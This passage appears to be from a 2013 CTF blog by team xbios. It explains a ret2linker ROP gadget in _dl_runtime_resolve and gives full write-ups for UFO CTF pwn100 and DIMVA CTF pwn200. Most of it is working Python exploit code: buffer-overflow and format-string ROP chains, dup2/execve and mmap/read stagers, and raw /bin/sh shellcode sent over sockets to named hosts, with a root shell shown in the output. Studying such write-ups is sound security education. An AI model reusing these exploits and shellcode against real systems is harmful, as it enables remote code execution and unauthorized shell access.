   0x401894 <__libc_csu_init+100>: jne    0x401880 <__libc_csu_init+80>
   0x401896 <__libc_csu_init+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
Chaining Gadgets from Linker:

_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
   0x38b7214780 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x38b7214784 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x38b7214788 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x38b721478d <_dl_runtime_resolve+13>: mov    QWORD PTR [rsp+0x10],rdx
   0x38b7214792 <_dl_runtime_resolve+18>: mov    QWORD PTR [rsp+0x18],rsi
   0x38b7214797 <_dl_runtime_resolve+23>: mov    QWORD PTR [rsp+0x20],rdi
   0x38b721479c <_dl_runtime_resolve+28>: mov    QWORD PTR [rsp+0x28],r8
   0x38b72147a1 <_dl_runtime_resolve+33>: mov    QWORD PTR [rsp+0x30],r9
   0x38b72147a6 <_dl_runtime_resolve+38>: mov    rsi,QWORD PTR [rsp+0x40]
   0x38b72147ab <_dl_runtime_resolve+43>: mov    rdi,QWORD PTR [rsp+0x38]
   0x38b72147b0 <_dl_runtime_resolve+48>: call   0x38b720de00 <_dl_fixup>
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
gdb-peda$ disass read
Dump of assembler code for function read@plt:
   0x00000000004003e8 <+0>: jmp    QWORD PTR [rip+0x20056a]  # 0x600958 <read@got.plt>
   0x00000000004003ee <+6>: push   0x1
   0x00000000004003f3 <+11>: jmp    0x4003c8    # PLT [0] 
End of assembler dump.
PLT [0] code:
gdb-peda$ x/3i 0x4003c8
   0x4003c8: push   QWORD PTR [rip+0x200572]   # 0x600940
   0x4003ce: jmp    QWORD PTR [rip+0x200574]   # 0x600948, GOT entry ie PLTGOT+16
   0x4003d4: nop    DWORD PTR [rax+0x0]
gdb-peda$ x/x 0x600948
0x600948: 0x00000000
gdb-peda$ break *main
Breakpoint 1 at 0x400578
gdb-peda$ run
gdb-peda$ x/x 0x600948
0x600948: 0x00000038b7214780      # address of _dl_runtime_resolve
The code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 + GOT
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python

#   GADGET 
#   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 from GOT used for PLT[0], leaked address
#   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
#   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
#   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
#   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
#   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
#   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
#   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
#   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
#   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11

import struct
import socket
import time

ip = "127.0.0.1"
port = 3337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )

payload  = "A" * 72

# call mmap
payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x38b7addfd0 )  # address of mmap@libc

payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += struct.pack("<Q", 34 )            # For RCX, 4th param
payload += struct.pack("<Q", 7 )             # For RDX, 3rd param
payload += struct.pack("<Q", 1024 )          # For RSI, 2nd param
payload += struct.pack("<Q", 0x0badc000 )    # For RDI, 1st param
payload += struct.pack("<Q", 0 )             # For R8,  5th param
payload += struct.pack("<Q", 0 )             # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x004003e8 )    # For RAX, read@PLT

# call read
payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += "ANYTHING"                           # For RCX, 4th param
payload += struct.pack("<Q", 1024 )          # For RDX, 3rd param
payload += struct.pack("<Q", 0x0badc000 )    # For RSI, 2nd param
payload += struct.pack("<Q", 0 )             # For RDI, 1st param, stdin
payload += "ANYTHING"                           # For R8,  5th param
payload += "ANYTHING"                           # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x0badc000 )    # jump to shellcode 

soc.send(payload + "\n")
time.sleep(1)
soc.send(shellcode + "\n")
soc.send("id\n")

print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Will update post when I find more info.

Monday, July 22, 2013

UFO CTF 2013 - pwn 100 - ufobay - [Team xbios]

The given binary is a 32 bit FreeBSD ELF executable, statically linked. Setting up a FreeBSD 9.1 VM, I started analysing the binary. Binary requires a user ufobay and database file /home/ufobay/ufobay.db. We noticed a buffer overflow vulnerability in option 1, where it gets parcel. User can supply 256 bytes of data. 172 bytes of data can overwrite the saved EIP.

Here is the idea of exploit:

[*] Overwrite saved EIP with CALL ESP gadget
[*] Place the shellcode immediately after the CALL ESP gadget

Below is the exploit:
#!/usr/bin/env python

import struct
import socket
import time

# msfvenom -p bsd/x86/exec CMD='/bin/sh -c sh<&5 >&5' -a x86_64 -b '\x0a'
shellcode = ( "\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68" +
              "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x15" +
              "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20" +
              "\x73\x68\x3c\x26\x35\x20\x3e\x26\x35\x00\x57\x53\x89\xe1" +
              "\x52\x51\x53\x50\xcd\x80")

ret_addr = struct.pack("<I", 0x080ff46d) # call esp
NOP = struct.pack("B", 0x90)
EBP = struct.pack("<I", 0x0815c080) 
payload = NOP * 168 + EBP + ret_addr + shellcode

ip = '92.63.96.226'
#ip = '192.168.122.200'
port = 1337

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(1)
print soc.recv(1024)

# option
soc.send("1\n")
time.sleep(0.5)
print soc.recv(512)

# source
soc.send("A\n")
time.sleep(0.5)
print soc.recv(512)

# destination
soc.send("A\n")
time.sleep(0.5)
print soc.recv(512)

# size
soc.send(str(len(payload)) + "\n")
time.sleep(0.5)
print soc.recv(512)

# parcel
soc.send(payload + "\n")
time.sleep(0.5)

soc.send("cat key\n")
time.sleep(0.5)
print soc.recv(1024)
Flag for the challenge is H0wCanW3D3F3atAL1ENZ

DIMVA CTF 2013 - pwn 200 - [Team xbios]

We were given a 32 bit Linux ELF executable with NX enabled. The executable is very much similar to pwn100. As pwn100, we can overwrite function pointer in signal handler and there is a format string bug, which in turn can trigger a buffer overflow in main() and send_back() functions.
main  {
    read(client_sockfd, buffer, 0x800);
    strncpy(tech_id, buffer, 0x100); 
    sprintf(&v10, tech_id);  // format string bug
    sprintf(&v5, "\n> Thank you %s\n> Now please send your code using your RETL Flux Capacitor device.\n", &v10); 
    send_back(&v5);
}

send_back(const char *src)  {
    char buf[2048]; 
    memset(&buf, 0, 0x800);
    strncpy(&buf, src, strlen(src) - 1); // length parameter computed from user input
    return send(client_sockfd, &buf, strlen(&buf) - 1, 0);
}
Below input can overwrite saved EIP in send_back()
%2000d + "A" * 200
But I didn't exploit this vulnerability. We still went for same function pointer overwrite in signal handler, but this time with ROP. Here is the idea of exploit

[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell

Below is the exploit:
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x193e0
dup2 = 0xdedd0
execve = 0xb82e0

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP
payload  = struct.pack("<I", 0x0806b264) * 275   # ret

# dup2 stdin
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x0)          # stdin
payload += "A" * 52

# dup2 stdout
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x1)          # stdout
payload += "A" * 52

# execve
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", execve - libc_start_main)   # Offset to execve_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x08048eef)   # call eax
payload += struct.pack("<I", 0x0806ed40+1528)   # parameters for execve
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "/bin"
payload += "//sh"
payload += struct.pack("<I", 0x0)

# stack pivot for call eax
payload += struct.pack("<I", 0x080565ee)    # add esp, 0x5C

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee700ab3f9a35614f29d1cb65186

Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit

[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

libc_start_main = 0x193e0
mmap = 0xeb0e0
read = 0xde440 

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)


format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP

payload  = struct.pack("<I", 0x0806b264) * 290   # ret as NOP

# mmap
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", mmap - libc_start_main)   # Offset to mmap
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0xbadc000)    # addr for mmap
payload += struct.pack("<I", 1024)         # size
payload += struct.pack("<I", 7)            # permission
payload += struct.pack("<I", 34)   
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "A" * 36

# read
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", read - libc_start_main)   # Offset to read
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0xbadc000)    # buffer
payload += struct.pack("<I", 1024)         # size
payload += "A" * 48
payload += struct.pack("<I", 0xbadc000)    # return address

# call eax, stack pivot 
payload += struct.pack("<I", 0x080565ee)   # add esp, 0x5C ; ret

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )                 # 18 bytes

# msfvenom /bin/sh
shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

soc.send(dup2 + shell + "\n")
soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)